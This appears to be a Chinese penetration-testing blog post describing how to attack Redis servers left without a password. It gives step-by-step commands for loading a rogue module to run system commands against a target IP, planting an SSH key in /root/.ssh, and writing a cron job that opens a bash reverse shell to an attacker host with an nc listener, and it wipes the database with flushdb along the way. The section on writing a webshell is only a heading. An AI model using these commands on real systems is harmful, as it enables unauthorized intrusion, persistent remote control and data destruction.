4000-618-418

渗透测试之redis未授权访问的攻击方式

2022年10月20日

1、漏洞原理:管理员配置redis时,requirepass使用默认设置

 

2、redis攻击常用的几个命令:

config get 参数名 //获取配置参数值

config set 配置参数名 值 //设置配置参数值,修改后不需要重启

keys * //获取当前数据库所有键值

del 键名/hash表名/链表名/集合名/有序集合名 //删除指定的(键名、hash

表名、链表名、集合名、有序集合名)

save //保存数据到硬盘,会阻塞客户端请求

bgsave //启动子进程保存数据,同时处理客户端请求

flushdb //删除当前数据库中所有数据

 

redis攻击主要的配置参数

dir "xxx" // 指定数据文件保存的路径 dbfilename "xxx" //指定数据文件名 

 

 

3、直接登录redis

redis -h 目标IP -p 端口 -a 密码 

 

4、redis攻击方式

 

 

一、任意命令执行;使用master/slave模式加载远程模块,通过动态链接库方式执行任意命令(条件:适用redis4.x/5.0.5之前)

1)https://github.com/vulhub/redis-rogue-getshell 

2)cd RedisModulesSDK/

3)make //生成exp.so python3 redis-master.py -r 目标IP -p redis端口 -L 攻击机IP -P 8888 -f RedisModulesSDK/exp.so -c "系统命令"

 

二、免密登录;写入ssh密钥到root用户的ssh的密钥认证文件中(条件:root身份启动redis+root用户开启密钥登录)

1)config set dir /root/.ssh // 设置数据文件保存路径为root用户的密钥验证路径:

 (2) config set dbfilename authorized.keys //设置数据文件名:

 (3) flushdb //清理redis数据 (

4) set x "\n\n\n登录公钥\n\n#" //写入公钥:

(5) save //保存数据:

 

 

三、反弹shell;写入定时任务+反弹shell+后提权(猜测允许登录的用户名或root身份启动redis)

(1) config set dir /var/spool/cron //设置数据文件保存路径为/var/spool/cron/

(2) config set dbfilename root //设置数据文件名为 root或允许登录的用户名

(3) flushdb //清理redis数据

 (4) set x "\n\n */1 * * * * /bin/bash -i>&/dev/tcp/攻击IP/攻击主机监听端口 0>&1\n\n"

(5) save (6)攻击机开启监听端口 nc -lp xxxx

 

 

四、写入webshell

 


上一篇:渗透测试干货-CVE-2013-4547漏洞原理

下一篇:渗透测试干货-sql注入字符型